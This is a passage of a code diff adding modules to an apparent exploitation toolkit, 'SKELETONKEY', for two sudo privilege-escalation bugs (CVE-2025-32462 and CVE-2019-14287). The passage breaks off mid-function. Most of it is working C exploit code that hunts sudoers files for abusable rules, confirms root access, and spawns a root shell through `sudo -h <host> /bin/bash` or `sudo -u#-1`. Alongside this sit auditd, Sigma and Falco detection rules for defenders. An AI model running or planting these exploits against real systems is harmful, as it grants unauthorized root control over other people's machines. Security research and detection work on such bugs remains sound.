* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||
* host — was honored when actually *running* a command (or sudoedit).
|
||||
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||
* scoped to some host other than the current machine becomes usable
|
||||
* here via `sudo -h <that-host> <command>`.
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||
* the sibling --chroot bug CVE-2025-32463):
|
||||
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||
* the machine were <host>. A user listed in sudoers for a different
|
||||
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||
* can therefore run that host's commands as root on the local box.
|
||||
*
|
||||
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||
*
|
||||
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||
* CISA KEV (the sibling 32463 is).
|
||||
*
|
||||
* Precondition for exploitation (NOT for detection): the invoking user
|
||||
* must already be listed in sudoers for a host that is neither the
|
||||
* current hostname nor ALL. detect() can only gate on the sudo
|
||||
* version (the host-restricted rule lives in a sudoers source the user
|
||||
* usually cannot read — that opacity is the whole point of the bug),
|
||||
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||
* find/fire one (or takes the host+command from env vars).
|
||||
*
|
||||
* arch_support: any. Pure userspace; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#endif
|
||||
|
||||
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||
static bool sudo_version_vulnerable_host(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
if (maj != 1) return false;
|
||||
if (min < 8) return false; /* 1.7.x and below predate */
|
||||
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||
/* min == 9 */
|
||||
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
/* exactly 1.9.17 */
|
||||
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_host(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||
* host that is neither the current hostname nor the ALL wildcard? */
|
||||
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||
{
|
||||
if (!tok || !*tok) return false;
|
||||
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||
const char *dot = strchr(cur_host, '.');
|
||||
if (dot) {
|
||||
size_t shortlen = (size_t)(dot - cur_host);
|
||||
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||
* Returns true on the first hit. We do not try to fully parse the
|
||||
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||
* test the host token. who may be the user, a %group, or ALL. */
|
||||
static bool scan_sudoers_file(const char *path, const char *user,
|
||||
const char *cur_host, char *host_out, size_t host_sz)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
char line[1024];
|
||||
bool hit = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *s = line;
|
||||
while (*s == ' ' || *s == '\t') s++;
|
||||
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||
|
||||
/* Must contain '=' (the host = command separator). */
|
||||
char *eq = strchr(s, '=');
|
||||
if (!eq) continue;
|
||||
|
||||
/* who = first token; host = second token (before '='). */
|
||||
char who[128] = {0}, host[256] = {0};
|
||||
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||
char *he = strchr(host, '=');
|
||||
if (he) *he = 0;
|
||||
if (!host[0]) continue;
|
||||
|
||||
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||
(strcmp(who, user) == 0) ||
|
||||
(who[0] == '%'); /* group — best-effort match */
|
||||
if (!who_match) continue;
|
||||
|
||||
if (host_is_abusable(host, cur_host)) {
|
||||
snprintf(host_out, host_sz, "%s", host);
|
||||
hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return hit;
|
||||
}
|
||||
|
||||
/* Try to discover an abusable host token from readable sudoers sources.
|
||||
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||
* common enough to be worth a look. */
|
||||
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||
char *host_out, size_t host_sz)
|
||||
{
|
||||
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||
return true;
|
||||
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||
if (p) {
|
||||
char name[256];
|
||||
while (fgets(name, sizeof name, p)) {
|
||||
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||
if (!name[0]) continue;
|
||||
char full[512];
|
||||
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||
pclose(p);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||
* (command executed as root). -n keeps it non-interactive so a password
|
||||
* prompt can't hang the scan. */
|
||||
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||
{
|
||||
char cmd[768];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char out[64] = {0};
|
||||
char *r = fgets(out, sizeof out, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
return atoi(out) == 0 && (out[0] == '0');
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
char cur_host[256] = {0};
|
||||
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *user = pw ? pw->pw_name : "";
|
||||
|
||||
/* The host token to abuse. Source priority:
|
||||
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||
* reliable path, since the host-restricted rule usually lives in
|
||||
* a sudoers source the user can't read).
|
||||
* 2. Best-effort discovery from readable sudoers. */
|
||||
char host_tok[256] = {0};
|
||||
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||
if (envh && *envh) {
|
||||
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||
"(host '%s' != current '%s') in readable sudoers\n",
|
||||
host_tok, cur_host);
|
||||
} else {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||
" typically in a sudoers source you cannot read. If you know one\n"
|
||||
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||
" skeletonkey --exploit sudo_host --i-know\n",
|
||||
cur_host[0] ? cur_host : "(this host)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Confirm the policy actually grants root on the local box when we
|
||||
* claim to be host_tok. `id -u` as the witness command. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||
host_tok, host_tok);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||
"sudo -h %s <command>\n", host_tok);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Pop a root shell via the abused host. The granted command may be
|
||||
* restricted; default to /bin/bash but let the operator override to
|
||||
* whatever the rule actually permits. */
|
||||
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||
fflush(NULL);
|
||||
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||
perror("execl(sudo -h)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_host_auditd[] =
|
||||
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||
"# record the -h/--host value and the target command.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||
|
||||
static const char sudo_host_sigma[] =
|
||||
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||
" different host. False positives: admins legitimately using\n"
|
||||
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||
" condition: sudo_exec and host_opt\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||
|
||||
static const char sudo_host_falco[] =
|
||||
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||
" to list remote privileges.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --host running a command by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_host_module = {
|
||||
.name = "sudo_host",
|
||||
.cve = "CVE-2025-32462",
|
||||
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_host_detect,
|
||||
.exploit = sudo_host_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||
.detect_auditd = sudo_host_auditd,
|
||||
.detect_sigma = sudo_host_sigma,
|
||||
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
||||
.detect_falco = sudo_host_falco,
|
||||
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_host(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_host_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
#define SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,286 @@
|
||||
/*
|
||||
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
|
||||
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
|
||||
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
|
||||
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
|
||||
* explicitly says "ALL except root".
|
||||
*
|
||||
* The bug (Joe Vennix / Apple Information Security, October 2019):
|
||||
* sudoers grammar lets admins write rules like
|
||||
* bob ALL=(ALL,!root) /bin/vi
|
||||
* intending "bob can run vi as any user except root". The Runas
|
||||
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
|
||||
* The integer parser for `-u#<n>` does NOT validate negative
|
||||
* numbers; passing `-u#-1` (or its unsigned-32-bit form
|
||||
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
|
||||
* ALSO bypasses standard setresuid() because the kernel rejects
|
||||
* uid_t = -1 and falls back to keeping the current uid (which sudo
|
||||
* has already elevated to root for argument parsing).
|
||||
*
|
||||
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
|
||||
* https://www.exploit-db.com/exploits/47502
|
||||
*
|
||||
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
|
||||
* to the `-u#<n>` parser.
|
||||
*
|
||||
* Preconditions:
|
||||
* - sudo installed + suid
|
||||
* - The invoking user has a sudoers entry of the form
|
||||
* USER HOST=(ALL,!root) /path/to/cmd
|
||||
* or any sudoers entry with `(ALL` in the Runas spec that
|
||||
* blacklists root. WITHOUT such an entry the bug is irrelevant
|
||||
* because the user has no sudoers grant to abuse in the first
|
||||
* place — detect() short-circuits PRECOND_FAIL in that case.
|
||||
*
|
||||
* arch_support: any. Pure shell-level invocation; works identically
|
||||
* on every Linux arch sudo is built for.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is < 1.8.28 (the fix release). */
|
||||
static bool sudo_version_vulnerable(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0; int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → conservative */
|
||||
if (maj < 1) return false;
|
||||
if (maj > 1) return false;
|
||||
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
|
||||
if (min > 8) return false; /* >= 1.9 includes fix */
|
||||
/* exactly 1.8.x: vulnerable iff patch < 28 */
|
||||
return patch < 28;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
|
||||
* the precondition. Returns a stored command path the user can execve. */
|
||||
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n -l separated + stdin closed: see sudoedit_editor for the same
|
||||
* pattern + rationale. `--auto` must never block on a tty prompt. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
/* Looking for " (ALL," or " (ALL : ..." with an
|
||||
* exclusion (!root or !#0) on a line that resolves to a
|
||||
* runnable command. Conservative parser: any line containing
|
||||
* "(ALL" + "!root" wins. */
|
||||
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
|
||||
/* Extract the last token (the command path) from the line. */
|
||||
char *tok = strrchr(line, ' ');
|
||||
if (tok) {
|
||||
tok++;
|
||||
char *nl = strchr(tok, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(cmd_out, tok, cap - 1);
|
||||
cmd_out[cap - 1] = 0;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = (ctx->host && ctx->host->sudo_version[0])
|
||||
? ctx->host->sudo_version
|
||||
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
|
||||
if (!ver) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
|
||||
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
|
||||
ver, grant);
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
|
||||
fflush(NULL);
|
||||
|
||||
/* If grant looks like /bin/sh-able command, run it directly.
|
||||
* Otherwise leave the operator to pop the shell themselves. */
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
